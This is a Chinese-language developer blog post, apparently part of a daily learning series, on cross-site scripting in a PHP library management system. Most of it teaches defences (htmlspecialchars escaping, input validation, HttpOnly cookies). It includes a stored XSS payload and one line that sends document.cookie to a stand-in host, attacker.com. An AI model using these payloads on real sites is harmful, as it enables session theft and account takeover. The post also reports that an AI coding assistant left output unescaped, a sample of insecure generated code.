昨天透過 SQL Injection 攻擊自己寫的系統,並學會了用參數化查詢預防 SQL 注入。今天要來面對另一個在 Web 開發中常見的安全漏洞:跨網站指令碼攻擊(Cross-Site Scripting, XSS)。
在圖書管理系統中,如果使用者在輸入欄位填入惡意的 JavaScript 程式碼,而系統沒有做好適當的過濾與轉義,這些程式碼就會在其他使用者瀏覽網頁時被執行,進而導致 Cookie 被竊取、Session 被劫持,甚至使用者被導向惡意網站。
XSS 的核心問題在於:系統把使用者輸入的內容,未經處理解釋成了「可執行的 HTML / JavaScript 程式碼」。
常見的 XSS 類型主要有以下三種:
?search=<script>...),伺服器將參數直接渲染回 response 畫面時觸發。在圖書管理系統中,最危險的地方是新增/修改書籍資料與會員註冊欄位,因為這些資料會永久儲存在資料庫,並展示給其他管理員或讀者看。
為了理解 XSS 的威力,可以在本地端 WSL2 的測試環境中模擬一次攻擊。
步驟 1:新增一本「特別」的書籍
設管理員或具有新增權限的使用者,在新增書籍時填入以下欄位:
<script>alert('Your Session ID: ' + document.cookie);</script>
步驟 2:觀看書籍列表頁面
儲存書籍資料後,回到 books_list.php。如果程式碼是這樣寫的:
<!-- ⚠️ 危險寫法:直接將資料庫內容印出 -->
<td><?= $book['author'] ?></td>
瀏覽器渲染網頁時,會直接把 <script> 標籤解析為 JavaScript 並執行。畫面就會跳出彈窗提示顯示目前使用者的 Cookie。
若攻擊者將 alert() 換成將 document.cookie 發送到他們的遠端伺服器(例如:new Image().src = '[https://attacker.com/steal?cookie=](https://attacker.com/steal?cookie=)' + document.cookie;),攻擊者就能獲取你的 Session ID 並直接偽裝成管理員登入系統。
防範 XSS 需要採取「縱深防禦」策略,結合輸入驗證與 輸出轉義。
核心防線:輸出轉義
永遠記住原則:所有要顯示到 HTML 畫面上的動態資料,都必須經過轉義處理。
在 PHP 中,最常用且最有效的工具是 htmlspecialchars()。它會將 HTML 特殊字元(如 <, >, ", ', &)轉化成 HTML Entity,使其失去執行腳本的能力。
// 防護寫法
function escape($string) {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
// 在 HTML 模板中使用
<td><?= escape($book['author']) ?></td>
經過轉義後,原本的 <script> 會變成 <script>,瀏覽器只會把它當成純文字顯示,而不會執行其中的程式碼。
輸入驗證
雖然輸出轉義是防範 XSS 的最後防線,但做好輸入驗證可以在資料進庫之前就攔截不合理的輸入。
// 範例:書籍庫存與 ISBN 的輸入驗證
$stock = filter_input(INPUT_POST, 'stock', FILTER_VALIDATE_INT);
if ($stock === false || $stock < 0) {
die('庫存必須為非負整數');
}
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
if (!$email) {
die('無效的 Email 格式');
}
進階安全措施:HTTP-Only Cookie
為了避免攻擊者透過 XSS 竊取 Session Cookie,我們應該在設定 Session Cookie 時加入 HttpOnly 標記。這樣一來,JavaScript(如 document.cookie)將無法讀取該 Cookie。
在 PHP 的 session_start() 前設定:
session_set_cookie_params([
'lifetime' => 86400,
'path' => '/',
'httponly' => true, // 阻止 JavaScript 存取 Cookie
'samesite' => 'Lax'
]);
session_start();
AI 協同的輔助與查驗
在撰寫前端渲染與表單邏輯時,Claude Code 幫忙重構了舊程式碼。但我發現 AI 在生成 PHP 程式碼時,有時為了簡潔會忽略 htmlspecialchars(),例如直接寫成 <?= $data ?>。
我的查證與修正流程:
檢查點:審視 Claude 生成的 View 層檔案(如 .php 樣板檔),確認每個 echo 或 都有經過 htmlspecialchars() 或自訂的 escape() 函式包裹。
提示詞修正:提示 Claude:「請幫我將所有在 HTML 中輸出的變數均加上 htmlspecialchars(..., ENT_QUOTES, 'UTF-8') 保護,並封裝成全域 helper function。」
這再次證明:AI 是極佳的加速工具,但安全性把關(Security Code Review)依然是開發者不可忽視的責任。
今天學習了:
XSS 的原理與危害:如何在未防護的情況下透過輸入 JavaScript 造成安全威脅。
自我攻擊實測:驗證了未轉義的欄位帶來的風險。
縱深防禦機制:透過 htmlspecialchars() 進行輸出轉義、利用 filter_var() 做輸入驗證,並配置 HttpOnly Cookie 減少潛在損害。
明天將進入資料庫維運的章節:備份與還原 —— 模擬不小心把資料庫刪掉該怎麼辦?